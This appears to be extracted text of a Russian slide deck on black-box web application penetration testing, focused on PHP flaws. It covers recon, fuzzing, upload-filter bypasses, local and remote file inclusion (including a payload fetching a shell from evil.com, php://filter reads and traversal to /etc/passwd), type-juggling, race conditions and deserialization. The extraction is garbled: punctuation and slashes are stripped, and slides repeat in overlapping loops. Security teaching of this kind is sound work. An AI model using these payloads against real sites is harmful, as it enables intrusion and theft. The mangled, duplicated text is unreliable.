bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
